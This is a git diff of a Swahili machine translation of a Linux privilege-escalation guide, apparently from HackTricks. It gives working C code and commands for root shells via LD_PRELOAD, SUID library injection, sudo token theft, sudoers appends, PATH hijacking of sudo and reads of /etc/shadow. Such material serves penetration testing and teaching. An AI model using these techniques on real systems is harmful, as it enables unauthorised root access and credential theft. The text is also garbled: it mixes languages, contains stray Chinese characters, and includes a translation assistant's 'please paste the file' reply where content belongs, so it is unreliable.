Kwa executables za **suid/sgid**, maktaba hupakiwa kabla tu ikiwa zipo katika njia za kawaida ambazo pia zimetengwa kama suid/sgid. -Privilege escalation inaweza kutokea ikiwa una uwezo wa kuendesha amri kwa `sudo` na output ya `sudo -l` inajumuisha taarifa **env_keep+=LD_PRELOAD**. Mipangilio hii inaruhusu variable ya mazingira **LD_PRELOAD** kudumu na kutambuliwa hata wakati amri zinaendeshwa kwa `sudo`, jambo ambalo linaweza kusababisha utekelezwaji wa code yoyote na vyeo vilivyoinuliwa. +Privilege escalation inaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa `sudo` na matokeo ya `sudo -l` yanajumuisha taarifa **env_keep+=LD_PRELOAD**. Mpangilio huu unaruhusu kigezo cha mazingira **LD_PRELOAD** kubaki na kutambuliwa hata wakati amri zinapofanywa kwa `sudo`, jambo linaloweza kusababisha utekelezwaji wa arbitrary code kwa elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` @@ -890,17 +889,17 @@ setuid(0); system("/bin/bash"); } ``` -Kisha **compile it** kwa kutumia: +Kisha **compile it** ukitumia: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Mwishowe, **escalate privileges** kwa kuendesha +Hatimaye, **escalate privileges** ukiendesha ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Privesc inayofanana inaweza kutumiwa vibaya ikiwa mshambuliaji anadhibiti **LD_LIBRARY_PATH** env variable kwa sababu anadhibiti njia ambapo maktaba zitatafutwa. +> Privesc sawa inaweza kutumiwa vibaya ikiwa mshambuliaji anadhibiti kigezo cha mazingira **LD_LIBRARY_PATH** kwa sababu anadhibiti njia ambapo maktaba zitatafutwa. ```c #include #include @@ -922,13 +921,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Unapokutana na binary iliyo na ruhusa za **SUID** na inayoonekana isiyo ya kawaida, ni desturi nzuri kuthibitisha kama inapakia faili za **.so** ipasavyo. Hii inaweza kuangaliwa kwa kuendesha amri ifuatayo: +Unapotokea kuwa na binary yenye ruhusa za **SUID** ambazo zinaonekana zisizo za kawaida, ni mazoea mazuri kuthibitisha kama inapakia faili za **.so** ipasavyo. Hii inaweza kuthibitishwa kwa kuendesha amri ifuatayo: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ kunaonyesha uwezekano wa kutumiwa. +Kwa mfano, kukutana na hitilafu kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ kunapendekeza uwezekano wa exploitation. -Ili kuvitumia hili, ungeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, lenye msimbo ufuatao: +Ili exploit hii, mtu angeendelea kwa kuunda faili ya C, kwa mfano _"/path/to/.config/libcalc.c"_, lenye msimbo ufuatao: ```c #include #include @@ -939,13 +938,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Msimbo huu, ikiwa imekompailiwa na kutekelezwa, unalenga kuinua ruhusa kwa kubadilisha vibali vya faili na kuendesha shell yenye ruhusa zilizoongezwa. +Msimbo huu, mara ukisanywa na kutekelezwa, unalenga kuinua vibali kwa kubadilisha ruhusa za faili na kuendesha shell yenye vibali vilivyoongezwa. -Kompaili faili ya C iliyotajwa hapo juu kuwa shared object (.so) ukitumia: +Kusanya C file hapo juu kuwa shared object (.so) file kwa: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Hatimaye, kuendesha SUID binary iliyoathirika kunapaswa kusababisha exploit, na kuruhusu uwezekano wa system compromise. +Hatimaye, kuendesha SUID binary iliyokumbwa kunapaswa kuanzisha exploit, kuruhusu uwezekano wa kuvamiwa au kuvunjika kwa usalama wa mfumo. ## Shared Object Hijacking ```bash @@ -957,7 +956,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sasa baada ya kupata SUID binary inayopakia library kutoka folder ambapo tunaweza kuandika, hebu tuunde library katika folder hiyo kwa jina linalohitajika: +Sasa tumeipata SUID binary inayo-load library kutoka kwa folder ambamo tunaweza kuandika, hebu tuunde library katika folder hiyo kwa jina linalohitajika: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -970,17 +969,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Ikiwa unapata kosa kama +Ikiwa unapata hitilafu kama ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -hii inamaanisha kuwa maktaba uliyotengeneza inapaswa kuwa na function iitwayo `a_function_name`. +hii inamaanisha kwamba maktaba uliyotengeneza inahitaji kuwa na function inayoitwa `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya Unix binaries ambazo mtiifuzi anaweza kuzitumia kuvuka vikwazo vya usalama vya ndani. [**GTFOArgs**](https://gtfoargs.github.io/) ni ile ile lakini kwa matukio ambapo unaweza **kuingiza hoja tu** katika amri. +[**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya Unix binaries ambazo zinaweza kutumiwa na mshambuliaji kuvuka vikwazo vya usalama vya kienyeji. [**GTFOArgs**](https://gtfoargs.github.io/) ni sawa lakini kwa kesi ambapo unaweza **kuingiza hoja tu** kwenye amri. -Mradi huu hukusanya kazi halali za Unix binaries ambazo zinaweza kutumika vibaya kuvuka restricted shells, kuongeza au kuhifadhi vigezo vya juu, kuhamisha faili, kuzalisha bind na reverse shells, na kurahisisha kazi nyingine za post-exploitation. +Mradi huu hukusanya function halali za Unix binaries ambazo zinaweza kutumiwa vibaya kutoroka restricted shells, kuongeza au kudumisha elevated privileges, kuhamisha faili, kuzalisha bind na reverse shells, na kurahisisha kazi nyingine za post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -999,55 +998,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Ikiwa unaweza kufikia `sudo -l` unaweza kutumia zana [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) kukagua ikiwa inapata njia ya ku-exploit sheria yoyote ya sudo. -### Kutumia tena token za sudo +### Kutumia tena Sudo Tokens -Katika matukio ambapo una **sudo access** lakini huna nywila, unaweza kupandisha ruhusa kwa **kusubiri utekelezaji wa amri ya sudo kisha kuiba token ya kikao**. +Katika kesi ambapo una **sudo access** lakini huna nywila, unaweza kuongeza privileges kwa **kusubiri utekelezaji wa amri ya sudo kisha uiba token ya session**. -Mahitaji ya kupandisha ruhusa: +Mahitaji ya kuongeza privileges: - Tayari una shell kama mtumiaji "_sampleuser_" -- "_sampleuser_" ame **tumia `sudo`** kutekeleza kitu katika **dakika 15 zilizopita** (kwa chaguo-msingi huo ndio muda wa sudo token unaoturuhusu kutumia `sudo` bila kuingiza nywila) +- "_sampleuser_" ame **tumia `sudo`** kutekeleza kitu katika **dakika 15 zilizopita** (kwa default hiyo ndio muda wa sudo token unaoturuhusu kutumia `sudo` bila kuingiza nywila yoyote) - `cat /proc/sys/kernel/yama/ptrace_scope` ni 0 -- `gdb` inapatikana (inawezekana kuipakia) +- `gdb` inapatikana (uweze kuipakia) (Unaweza kwa muda kuwezesha `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kwa kudumu kubadilisha `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Iki mahitaji haya yote yakitimizwa, **unaweza kuongeza privileges kwa kutumia:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) itaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha token ya sudo katika kikao chako** (hautapata moja kwa moja root shell, fanya `sudo su`): +- The **first exploit** (`exploit.sh`) itaumba binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha sudo token kwenye session yako** (hutapokea moja kwa moja root shell, fanya `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **exploit ya pili** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **imilikiwa na root na setuid** +- **exploit ya pili** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **inayomilikiwa na root yenye setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Exploit ya tatu** (`exploit_v3.sh`) itaunda **sudoers file** inayofanya **sudo tokens** kuwa ya milele na kuruhusu watumiaji wote kutumia **sudo** +- **exploit ya tatu** (`exploit_v3.sh`) itaunda **sudoers file** ambayo inafanya **sudo tokens kuwa za milele na kuruhusu watumiaji wote kutumia sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Ikiwa una **idhini za kuandika** kwenye saraka au kwenye faili yoyote iliyotengenezwa ndani ya saraka unaweza kutumia binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) **kuunda token ya sudo kwa mtumiaji na PID**.\ -Kwa mfano, ikiwa unaweza kuandika tena faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo mwenye PID 1234, unaweza **kupata ruhusa za sudo** bila kuhitaji kujua nenosiri kwa kufanya: +Ikiwa una **write permissions** katika kabrasha au kwenye yoyote ya faili zilizotengenezwa ndani ya kabrasha unaweza kutumia binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ili **kuunda sudo token kwa user na PID**.\ +Kwa mfano, ikiwa unaweza kuandika upya faili _/var/run/sudo/ts/sampleuser_ na una shell kama user huyo mwenye PID 1234, unaweza **obtain sudo privileges** bila kuhitaji kujua password kwa kufanya: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Faili `/etc/sudoers` na faili zilizomo ndani ya `/etc/sudoers.d` zinaweka ni nani anaweza kutumia `sudo` na jinsi inavyofanya kazi. Faili hizi **kwa chaguo-msingi zinaweza kusomwa tu na mtumiaji root na kikundi root**.\ +Faili `/etc/sudoers` na faili zilizo ndani ya `/etc/sudoers.d` zinaamua nani anaweza kutumia `sudo` na jinsi. Faili hizi **kwa chaguo-msingi zinaweza kusomwa tu na mtumiaji root na kikundi root**.\ **Ikiwa** unaweza **kusoma** faili hii unaweza kuwa na uwezo wa **kupata taarifa za kuvutia**, na ikiwa unaweza **kuandika** faili yoyote utaweza **kupandisha ruhusa**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Ikiwa unaweza kuandika, unaweza kutumia vibaya ruhusa hii +Ikiwa unaweza kuandika, unaweza kutumia vibaya ruhusa hii. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1061,15 +1060,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Kuna mbadala kadhaa kwa binary ya `sudo` kama `doas` ya OpenBSD, kumbuka kuangalia usanidi wake katika `/etc/doas.conf` +Kuna baadhi ya mbadala kwa binary ya `sudo` kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake kwenye `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Ikiwa unajua kwamba **user kawaida huunganishwa kwenye machine na hutumia `sudo`** kuongeza privileges na umepata shell ndani ya user context, unaweza **kuunda executable mpya ya sudo** itakayotekeleza code yako kama root kisha amri ya user. Kisha, **badilisha $PATH** ya user context (kwa mfano kwa kuongeza path mpya katika .bash_profile) ili wakati user atakapotekeleza sudo, executable yako ya sudo itatekelezwa. +Ikiwa unajua kwamba mtumiaji kwa kawaida huungana kwenye mashine na hutumia `sudo` kuongeza ruhusa na umepata shell ndani ya muktadha wa mtumiaji huyo, unaweza **kuunda executable mpya ya sudo** itakayotekeleza msimbo wako kama root kisha amri ya mtumiaji. Kisha, **badilisha $PATH** ya muktadha wa mtumiaji (kwa mfano kwa kuongeza path mpya katika .bash_profile) ili wakati mtumiaji anapotekeleza sudo, executable yako ya sudo itatekelezwa. -Tambua kwamba ikiwa user anatumia shell tofauti (si `bash`) utahitaji kubadilisha faili nyingine ili kuongeza path mpya. Kwa mfano [sudo-piggyback](https://github.com/APTy/sudo-piggyback) hubadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Kumbuka kwamba ikiwa mtumiaji anatumia shell tofauti (si bash) utahitaji kubadilisha faili nyingine ili kuongeza path mpya. Kwa mfano [sudo-piggyback](https://github.com/APTy/sudo-piggyback) inabadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Au kuendesha kitu kama: ```bash @@ -1086,17 +1085,16 @@ zsh echo $PATH sudo ls ``` -## Maktaba ya Kushiriki +## Maktaba Iliyoshirikiwa ### ld.so -Faili `/etc/ld.so.conf` inaonyesha **chanzo cha faili za usanidi zilizopakiwa**. Kawaida, faili hii ina njia ifuatayo: `include /etc/ld.so.conf.d/*.conf` +Faili `/etc/ld.so.conf` inaonyesha **mahali mafaili ya usanidi yaliyosomwa yanapotoka**. Kawaida, faili hii ina njia ifuatayo: `include /etc/ld.so.conf.d/*.conf` -Hiyo ina maana kwamba faili za usanidi kutoka `/etc/ld.so.conf.d/*.conf` zitasomwa. Faili hizi za usanidi zinaonyesha folda nyingine ambapo **libraries** zitatafutwa. Kwa mfano, maudhui ya `/etc/ld.so.conf.d/libc.conf` ni `/usr/local/lib`. **Hii ina maana mfumo utaatafuta libraries ndani ya `/usr/local/lib`**. - -Ikiwa kwa sababu yoyote **mtumiaji ana ruhusa za kuandika** kwenye mojawapo ya njia zilizoonyeshwa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, faili yoyote ndani ya `/etc/ld.so.conf.d/` au folda yoyote ndani ya faili za usanidi ndani ya `/etc/ld.so.conf.d/*.conf` anaweza kupandisha ruhusa.\ -Angalia **jinsi ya kuchukua faida ya misconfiguration hii** kwenye ukurasa ufuatao: +Hii ina maana kwamba mafaili ya usanidi kutoka `/etc/ld.so.conf.d/*.conf` yatasomwa. Mafaili haya ya usanidi **yanaelekeza kwenye folda nyingine** ambapo **libraries** **zitatafutwa**. Kwa mfano, maudhui ya `/etc/ld.so.conf.d/libc.conf` ni `/usr/local/lib`. **Hii inamaanisha kwamba mfumo utatafuta libraries ndani ya `/usr/local/lib`**. +Ikiwa kwa sababu fulani **mtumiaji ana ruhusa ya kuandika** kwenye mojawapo ya njia zilizoonyeshwa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, faili yoyote ndani ya `/etc/ld.so.conf.d/` au folder yoyote ndani ya faili za usanidi ndani ya `/etc/ld.so.conf.d/*.conf` anaweza kuwa na uwezo wa escalate privileges.\ +Angalia **how to exploit this misconfiguration** katika ukurasa ufuatao: {{#ref}} ld.so.conf-example.md @@ -1113,7 +1111,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kwa kunakili lib hadi `/var/tmp/flag15/`, itaitumika na programu katika sehemu hii kama ilivyoainishwa katika kigezo cha `RPATH`. +Kwa kunakili lib kwenye `/var/tmp/flag15/`, itatumika na programu mahali hapa kama ilivyoainishwa katika kigezo cha `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1122,7 +1120,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Kisha unda maktaba ya uovu katika `/var/tmp` kwa kutumia `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Kisha tengeneza maktaba mbaya katika `/var/tmp` kwa kutumia `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1135,44 +1133,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Uwezo +## Capabilities -Linux capabilities hutoa **sehemu ndogo ya ruhusa za root zinazopatikana kwa mchakato**. Hii kwa ufanisi inagawanya ruhusa za root kuwa **vitengo vidogo vinavyotofautiana**. Kila kimoja cha vitengo hivi kinaweza kuzawadiwa kwa mchakato kwa kujitegemea. Kwa njia hii seti kamili ya ruhusa inapunguzwa, kupunguza hatari za exploitation.\ -Soma ukurasa ufuatao ili **ujifunze zaidi kuhusu capabilities na jinsi ya kuzitumia vibaya**: +Linux capabilities hutoa a **subset of the available root privileges to a process**. Hii inavunja kwa ufanisi root **privileges into smaller and distinctive units**. Kila kimoja cha vitengo hivi kinaweza kisha kupewa processes kwa njia ya kujitegemea. Kwa hivyo seti kamili ya ruhusa inapunguzwa, kupunguza hatari za exploitation.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} linux-capabilities.md {{#endref}} -## Ruhusa za Directory +## Directory permissions -Katika directory, the **bit for "execute"** inaonyesha kwamba mtumiaji aliyeathirika anaweza "**cd**" ndani ya folda.\ -Bit ya **"read"** inaonyesha mtumiaji anaweza **kuorodhesha** **faili**, na bit ya **"write"** inaonyesha mtumiaji anaweza **kufuta** na **kuunda** **faili** mpya. +Katika saraka, the **bit for "execute"** ina maana kuwa mtumiaji aliyeguswa anaweza "**cd**" ndani ya folda.\ +The **"read"** bit inaonyesha mtumiaji anaweza **list** the **files**, na the **"write"** bit inaonyesha mtumiaji anaweza **delete** na **create** faili mpya. ## ACLs -Access Control Lists (ACLs) zinawakilisha tabaka la pili la ruhusa za hiari, zikiwa na uwezo wa **kuzipindisha ruhusa za jadi za ugo/rwx**. Ruhusa hizi zinaongeza udhibiti juu ya upatikanaji wa faili au directory kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao sio wamiliki au sehemu ya kikundi. Kiwango hiki cha **undani kinahakikisha usimamizi wa upatikanaji uliosahihi zaidi**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) zinawakilisha tabaka la pili la ruhusa za hiari, zikiweza **overriding the traditional ugo/rwx permissions**. Ruhusa hizi zinaboresha udhibiti wa ufikaji wa faili au saraka kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kikundi. Kiwango hiki cha **granularity ensures more precise access management**. Maelezo zaidi yanaweza kupatikana [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Mpa** mtumiaji "kali" ruhusa za "read" na "write" juu ya faili: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pata** faili zenye ACLs maalum kutoka kwenye mfumo: +**Pata** faili zenye ACL maalum kwenye mfumo: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Vikao wazi vya shell +## Fungua shell sessions -Katika **matoleo ya zamani** unaweza **hijack** baadhi ya vikao vya **shell** vya user mwingine (**root**).\ -Katika **matoleo mapya** utaweza **connect** kwa screen sessions tu za **your own user**. Hata hivyo, unaweza kupata **taarifa za kuvutia ndani ya session**. +Katika **toleo za zamani** unaweza **hijack** baadhi ya **shell** session za mtumiaji mwingine (**root**).\ +Katika **toleo jipya zaidi** utaweza tu **connect** kwenye screen sessions za **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **taarifa za kuvutia ndani ya session**. ### screen sessions hijacking -**Orodhesha screen sessions** +**Orodha ya screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1187,7 +1185,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Hii ilikuwa tatizo kwa **matoleo ya zamani ya tmux**. Sikuweza hijack session ya tmux (v2.1) iliyoundwa na root wakati nilikuwa mtumiaji asiye na ruhusa. +Hili lilikuwa tatizo kwa **old tmux versions**. Sikuweza hijack tmux (v2.1) session iliyoundwa na root kama mtumiaji asiye na ruhusa. **Orodhesha tmux sessions** ```bash @@ -1197,7 +1195,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Unganisha kwenye kikao** +**Unganisha kwenye session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1207,137 +1205,132 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Angalia **Valentine box kutoka HTB** kwa mfano. +Angalia **Valentine box from HTB** kwa mfano. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Vifunguo vyote vya SSL na SSH vilivyotengenezwa kwenye mifumo inayotegemea Debian (Ubuntu, Kubuntu, etc) kati ya September 2006 na May 13th, 2008 vinaweza kuathiriwa na hitilafu hii.\ -Hitilafu hii hutokana na wakati wa kuunda ssh key mpya katika OS hizo, kwani **tu tofauti 32,768 zilikuwa zawezekana**. Hii inamaanisha kwamba uwezekano wote unaweza kuhesabiwa na **ukiwa na ssh public key unaweza kutafuta private key inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Hitilafu hii inatokea wakati wa kuunda ssh key mpya katika OS hizo, kwa kuwa **zilikuwa na utofauti wa 32,768 tu**. Hii inamaanisha kuwa uwezekano wote unaweza kuhesabiwa na **ikiwa una ssh public key unaweza kutafuta private key inayolingana**. Unaweza kupata uwezekano uliokadiriwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Inaelezea kama uthibitishaji kwa nenosiri unaruhusiwa. Chaguo-msingi ni `no`. -- **PubkeyAuthentication:** Inaelezea kama uthibitishaji wa public key unaruhusiwa. Chaguo-msingi ni `yes`. -- **PermitEmptyPasswords**: Inapowezekana uthibitishaji kwa nenosiri, inaonyesha kama server inaruhusu kuingia kwa akaunti zenye nenosiri tupu. Chaguo-msingi ni `no`. +- **PasswordAuthentication:** Inaonyesha ikiwa uthibitishaji kwa password unaruhusiwa. Chaguo-msingi ni `no`. +- **PubkeyAuthentication:** Inaonyesha ikiwa public key authentication inaruhusiwa. Chaguo-msingi ni `yes`. +- **PermitEmptyPasswords**: Wakati password authentication inaporuhusiwa, inaonyesha kama server inaruhusu kuingia kwenye akaunti zenye nywila tupu. Chaguo-msingi ni `no`. ### PermitRootLogin -Inaelezea kama root anaweza kuingia kwa kutumia ssh, chaguo-msingi ni `no`. Thamani zinazowezekana: +Inaonyesha ikiwa root anaweza kuingia kwa kutumia ssh, chaguo-msingi ni `no`. Thamani zinazowezekana: - `yes`: root anaweza kuingia kwa kutumia password na private key -- `without-password` or `prohibit-password`: root anaweza kuingia kwa kutumia private key pekee -- `forced-commands-only`: Root anaweza kuingia tu kwa kutumia private key na ikiwa chaguzi za commands zimetajwa +- `without-password` or `prohibit-password`: root anaweza kuingia kwa private key tu +- `forced-commands-only`: root anaweza kuingia kwa private key tu na ikiwa chaguo la commands limetajwa - `no` : hapana ### AuthorizedKeysFile -Inaelezea faili zinazoshikilia public keys ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kujumuisha tokens kama `%h`, ambazo zitat替被 na saraka ya nyumbani. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: +Inaonyesha faili zinazobeba public keys ambazo zinaweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na tokens kama `%h`, ambazo zitatengenezwa na home directory. **Unaweza taja absolute paths** (zinazoanza na `/`) au **relative paths kutoka kwenye home ya mtumiaji**. Kwa mfano: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Utekelezaji huo utaonyesha kwamba ukijaribu kuingia kwa kutumia **private** key ya mtumiaji "**testusername**", ssh italinganisha public key ya key yako na zile zilizopo katika `/home/testusername/.ssh/authorized_keys` na `/home/testusername/access` +Usanidi huo utaonyesha kwamba ikiwa utajaribu kuingia kwa kutumia ufunguo wa **private** wa mtumiaji "**testusername**", ssh italinganisha **public key** ya ufunguo wako na zile zilizoko katika `/home/testusername/.ssh/authorized_keys` na `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding inakuwezesha **use your local SSH keys instead of leaving keys** (without passphrases!) kukaa kwenye server yako. Hivyo, utaweza **jump** via ssh **to a host** na kutoka hapo **jump to another** host **using** the **key** iliyoko katika **initial host** yako. +SSH agent forwarding inakuwezesha **use your local SSH keys instead of leaving keys** (bila passphrases!) zikaa kwenye server yako. Hivyo, utaweza **jump** kupitia ssh **to a host** na kutoka hapo **jump to another** host **using** the **key** located in your **initial host**. -Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` hivi: +Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` kama ifuatavyo: ``` Host example.com ForwardAgent yes ``` -Tambua kwamba ikiwa `Host` ni `*`, kila wakati mtumiaji anapovuka kwenda mashine tofauti, host hiyo itaweza kupata keys (ambayo ni tatizo la usalama). +Tambua kwamba ikiwa `Host` ni `*`, kila mara mtumiaji anapohama kwa mashine tofauti, host huyo ataweza kufikia keys (ambayo ni suala la usalama). -The file `/etc/ssh_config` can **kubadilisha** hizi **chaguzi** na kuruhusu au kuzuia usanidi huu.\ -Faili `/etc/sshd_config` inaweza **kuruhusu** au **kuzuia** ssh-agent forwarding kwa kutumia ufunguo `AllowAgentForwarding` (chaguo-msingi ni kuruhusu). +The file `/etc/ssh_config` can **kupindua** chaguo hizi na kuruhusu au kukataa usanidi huu.\ +The file `/etc/sshd_config` can **kuruhusu** au **kukataa** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default ni allow). -Ikiwa utakuta kwamba Forward Agent imewekwa katika mazingira, soma ukurasa ufuatao kwani **huenda ukaweza kuitumia vibaya kupandisha ruhusa**: +Ikiwa unagundua kuwa Forward Agent imewekwa katika mazingira, soma ukurasa ufuatao kwani **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Faili Zinazovutia +## Faili Zilizovutia -### Faili za profile +### Faili za Profile -Faili `/etc/profile` na faili zilizo chini ya `/etc/profile.d/` ni **scripts zinazoendeshwa wakati mtumiaji anapoanzisha shell mpya**. Kwa hivyo, ikiwa unaweza **kuandika au kubadilisha yoyote kati yao unaweza kupandisha ruhusa**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts ambazo zinaendeshwa wakati mtumiaji anapoanzisha shell mpya**. Kwa hiyo, ikiwa unaweza **kuandika au kubadilisha yoyote yao unaweza escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Ikiwa skripti ya profile isiyokuwa ya kawaida itapatikana, unapaswa kuikagua kwa **maelezo nyeti**. +Kama script yoyote ya wasifu isiyo ya kawaida inapopatikana, unapaswa kuiangalia kwa **maelezo nyeti**. ### Faili za Passwd/Shadow -Kulingana na OS, faili za `/etc/passwd` na `/etc/shadow` zinaweza kutumia jina tofauti au kunaweza kuwa na nakala ya ziada. Kwa hivyo inashauriwa **kutafuta zote** na **kuangalia ikiwa unaweza kuzisoma** ili kuona **ikiwa kuna hashes** ndani ya faili: +Kulingana na OS, `/etc/passwd` na `/etc/shadow` zinaweza kuwa zikiitwa kwa jina tofauti au kunaweza kuwa na nakala ya kuhifadhi. Kwa hivyo inashauriwa **kutafuta zote** na **kuangalia ikiwa unaweza kuzisoma** ili kuona **ikiwa kuna hashes** ndani ya faili: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Katika baadhi ya matukio unaweza kupata **password hashes** ndani ya faili `/etc/passwd` (au faili sawa) +Katika baadhi ya matukio unaweza kupata **password hashes** ndani ya faili ya `/etc/passwd` (au sawa). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Inayoweza kuandikwa /etc/passwd -Kwanza, tengeneza nywila kwa moja ya amri zifuatazo. +Kwanza, tengeneza nywila kwa kutumia moja ya amri zifuatazo. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don’t have the file contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md content you want translated (or give permission to read it if you can provide access). +Generated password: 